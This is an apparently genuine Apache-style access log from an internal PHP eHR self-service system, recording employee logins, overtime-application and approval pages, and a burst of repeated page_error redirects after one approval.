Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.12.69 - - [01/Dec/2025:16:33:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:33:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 100.64.0.1 - - [01/Dec/2025:16:33:23 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:23 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.12.69 - - [01/Dec/2025:16:33:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:33:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.69 - - [01/Dec/2025:16:33:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:33:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.69 - - [01/Dec/2025:16:33:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:33:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.69 - - [01/Dec/2025:16:33:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:33:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.69 - - [01/Dec/2025:16:34:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.313380653766659 HTTP/1.1" 200 8640 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:34:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.313380653766659 HTTP/1.1" 200 8640 192.168.12.69 - - [01/Dec/2025:16:34:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.313380653766659 HTTP/1.1" 200 12793 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.313380653766659" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:34:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.313380653766659 HTTP/1.1" 200 12793 192.168.12.69 - - [01/Dec/2025:16:35:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.313380653766659 HTTP/1.1" 200 11508 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.313380653766659" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:35:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.313380653766659 HTTP/1.1" 200 11508 192.168.12.69 - - [01/Dec/2025:16:35:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.313380653766659 HTTP/1.1" 200 18753 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.313380653766659" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:35:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.313380653766659 HTTP/1.1" 200 18753 192.168.12.69 - - [01/Dec/2025:16:35:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.33235030336383675 HTTP/1.1" 200 8640 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:35:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.33235030336383675 HTTP/1.1" 200 8640 100.64.0.1 - - [01/Dec/2025:16:37:27 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:16:37:27 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [01/Dec/2025:16:37:44 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [01/Dec/2025:16:37:44 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:16:48:49 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:48:49 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 192.168.12.59 - - [01/Dec/2025:16:58:11 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:16:58:11 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.59 - - [01/Dec/2025:16:58:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:16:58:12 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.59 - - [01/Dec/2025:16:58:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:16:58:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:16:58:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:16:58:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.12.59 - - [01/Dec/2025:16:58:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:16:58:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.139.16 - - [01/Dec/2025:17:04:54 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:04:54 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [01/Dec/2025:17:04:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:04:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:04:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:04:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [01/Dec/2025:17:04:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:04:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.139.16 - - [01/Dec/2025:17:05:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 67938 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 67938 192.168.139.16 - - [01/Dec/2025:17:05:24 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:24 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132664%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132664&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132664%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132664&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:17:05:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:17:05:27 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 